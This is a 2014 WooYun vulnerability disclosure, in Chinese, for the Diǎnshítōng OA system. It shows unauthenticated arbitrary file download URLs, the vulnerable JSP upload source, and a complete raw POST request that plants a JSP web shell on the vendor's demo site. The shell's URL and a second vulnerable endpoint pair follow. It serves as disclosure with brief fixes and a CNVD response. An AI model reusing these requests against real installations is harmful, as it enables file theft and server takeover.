当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066607

漏洞标题:某OA系统多处无需登录从任意文件下载到任意文件上传到GetShell

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2014-06-29 20:12

修复时间:2014-09-27 20:14

公开时间:2014-09-27 20:14

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-29: 细节已通知厂商并且等待厂商处理中
2014-07-04: 厂商已经确认,细节仅向厂商公开
2014-07-07: 细节向第三方安全合作伙伴开放
2014-08-28: 细节向核心白帽子及相关领域专家公开
2014-09-07: 细节向普通白帽子公开
2014-09-17: 细节向实习白帽子公开
2014-09-27: 细节向公众公开

简要描述:

某OA系统无需登录,从任意文件下载,下载源码,到源码分析,到任意文件上传拿GetShell

详细说明:

官网:http://www.ttyoa.com/WebDst/index.htm?TopMenu=sy
北京点石通科技有限公司,点石通OA办公自动化系统
官方演示:http://www.ttyoa.com/Main3/sy.jsp
下面就拿官方demo进行测试。
0x001 第一处任意文件下载
无需登录,文件下载,文件下载链:
http://www.ttyoa.com/Common/Js/UploadEx/do_download.jsp?UpLoadPath=/Common/Js/UploadEx/&FileName=do_download.jsp

111.png


已经下载do_download.jsp文件,我们来看看源码:

<%@ page contentType="text/html; charset=gb2312" %>
<%@page import="com.jspsmart.upload.*"%>
<%
String szUpLoadPath=request.getParameter("UpLoadPath");
String szFileName=request.getParameter("FileName");
String path=request.getRealPath("");
//新建一个SmartUpload对象
SmartUpload su = new SmartUpload();
//初始化
su.initialize(pageContext);
//设定contentDisposition为null以禁止浏览器自动打开文件,
//保证点击链接后是下载文件。若不设定,则下载的文件扩展名为
//doc时,浏览器将自动用word打开它。扩展名为pdf时,
//浏览器将用acrobat打开。
su.setContentDisposition(null);
//下载文件
//{{
//如果不用如下的,则response.getWriter(),因为这个方法是和response.getOutputStream()相冲突
//html这样的文档不能下载。
out.clear();
out = pageContext.pushBody();
//}}
String oFileName =new String(szFileName.getBytes("gb2312"),"iso8859-1");
//su.downloadFile(path+"\\DB\\UpLoad\\"+szHref,null,oFileName);
su.downloadFile(path+"/"+szUpLoadPath+"/"+szFileName,null,oFileName);
%>


一目了然,从我们接受的的UpLoadPath和FileName,然后拼接,然后直接下载!!!
0x002 第一处任意文件上传拿shell
然后我们来下载当前目录下其他文件UploadFile.action.jsp
http://www.ttyoa.com/Common/Js/UploadEx/do_download.jsp?UpLoadPath=/Common/Js/UploadEx/&FileName=UploadFile.action.jsp

222.png


我们来分析一下这里的文件上传文件:

<%@ page contentType="text/html; charset=gb2312" %>
<%@ include file="../../../Common/include.inc"%>
<%
String szIsOk="true";
String szIdTime=request.getParameter("IdTime");
String szYuan_FileName=request.getParameter("Yuan_FileName");
String objUploadName=request.getParameter("objUploadName");
String szUpLoadPath=request.getParameter("szUpLoadPath");
String szUpload_Div_FuJian=request.getParameter("Upload_Div_FuJian");

String szFileName =request.getParameter("FileName");
if( szFileName == null ){ szFileName = "" ; }

out.println(szUpLoadPath+"/"+szFileName);

DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(4096);
String szNewFileSavePath=application.getRealPath(java.io.File.separator+szUpLoadPath);

System.out.println("文件上传路径:"+szNewFileSavePath);
//factory.setRepository(szNewFileSavePath);
factory.setRepository(new java.io.File(szNewFileSavePath));
HttpFileUpload fu = new HttpFileUpload(factory);
......
省略
......
try
{
List fileItemList = fu.parseRequest(request);
out.println(fileItemList.size());
Iterator fileItemListIte = fileItemList.iterator();
while (fileItemListIte.hasNext())
{
FileItem file = (FileItem) fileItemListIte.next();
//文件保存文件
// 文件保存路径和文件名
//String uploadfile=application.getRealPath(File.separator+"uploadfile"+File.separator+"src.rar");
//File upFile = new File(uploadfile);
//file.write(upFile);

if( file.getName()!=null)
{
java.io.File upFile = new java.io.File(szNewFileSavePath+"/"+szFileName);
file.write(upFile);
}
System.out.println(file.getName() + "<br>" + file.getSize());
}
out.println("上传成功!");
}
......


可以见到:

java.io.File upFile = new java.io.File(szNewFileSavePath+"/"+szFileName);
file.write(upFile);


szNewFileSavePath和szFileName拼接后直接下载,这里的两个值就是我们传进来的,没有做任何过滤,导致任意上传!!
发送器如下,无需登陆:

POST /Common/Js/UploadEx/UploadFile.action.jsp?objUploadName=myUploadEx&Yuan_FileName=404.jsp&IdTime=404&FileName=404.jsp&szUpLoadPath=OA/DB&Upload_Div_FuJian=ddd HTTP/1.1
Host: www.ttyoa.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.ttyoa.com/Common/Js/UploadEx/UploadFileIframe.jsp?objUploadName=myUploadEx&UpLoadPath=OA/DB&Upload_Div_FuJian=ddd
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------124872554328309
Content-Length: 31223
-----------------------------124872554328309
Content-Disposition: form-data; name="myFile"; filename="404.jsp"
Content-Type: application/octet-stream
<%jsp shell is here !%>
-----------------------------124872554328309--


成功上传jsp shell:

333.png


shell地址:http://www.ttyoa.com:80/OA/DB/404.jsp

444.png


0x003 第二处任意文件下载、任意文件上传
通过对此系统的分析,发现另外一处任意文件下载、任意文件上传
原理通上面下载上传的代码分析
文件下载页面:http://www.ttyoa.com/Common/Js/UploadCutPic/do_download.jsp
文件上传页面:http://www.ttyoa.com/Common/Js/UploadCutPic/UploadFile.action.jsp

555.png

漏洞证明:

444.png

修复方案:

上传后下载需要控制登陆权限,需要登陆验证
控制上传文件类型,控制下载文件路径等

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-07-04 08:37

厂商回复:

CNVD确认所述情况,目前,对于所述OA并未完成互联网实例的查找,仅根据官方站进行确认。由CNVD通过前段时间建立的联系渠道向软件生产厂商通报。

最新状态:

暂无